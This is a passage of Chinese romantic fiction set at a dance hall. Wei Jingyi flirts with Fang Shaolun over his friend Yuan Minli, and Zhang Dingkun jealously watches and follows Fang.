魏静怡噘起樱桃小嘴,“我可没说不能有前女友,只是……” 她觉得袁闵礼刚刚的态度颇为殷勤,丝毫没有顾及她的感受。 方绍伦没有谈爱情的经验,也缺乏女性敏锐的直觉,在他看来袁闵礼的表现真是再正常不过了,“闵礼还去参加了关太太的婚礼呢,不谈爱情还可以当朋友嘛。”他抓住机会,给好兄弟发起助力,“他的脾气性格向来一等一的好。” 魏静怡听了这几句解释面色缓和下来,嘴上犟道,“他好不好的与我有什么相干呢?” 方绍伦也笑道,“我单说他好,可没说与你相干啊。” 他不知道袁闵礼到底中意哪一位,缘分的事谁也说不准,只能解释一二,不能把话说太满。 魏静怡嘟起嘴,“绍伦哥哥,你坏死了!”纤纤玉手一甩,冲他嫣然一笑,离开舞池,径直走到另一个包厢里去了。 方绍伦愣了一下,除了方颖琳那种妹妹对哥哥式的撒娇,很少有女孩子在他面前亦嗔亦喜的卖弄风情,不由得低头笑了笑。 这番情形落在那双窥视的眼睛里含义又大不同了。 张定坤看他牵着魏静怡的手去跳舞,哪里还坐得住,勉强打完手上那把牌,伸了个懒腰站起身,冲一旁观战的袁闵礼道:“上个厕所,帮我打一圈。” 走到外面舞厅里,人实在太多,他颇费了点功夫才找到一边跳舞一边喁喁私语的两个人。 看他和她贴着面说话,脸上都挂着笑容,魏家小姐一甩手走了,方绍伦还站在那里回味无穷似的,只觉得数九寒天一盆凉水兜头泼下。 看方绍伦往洗手间的方向走,他不由得移动脚步,跟了过去。

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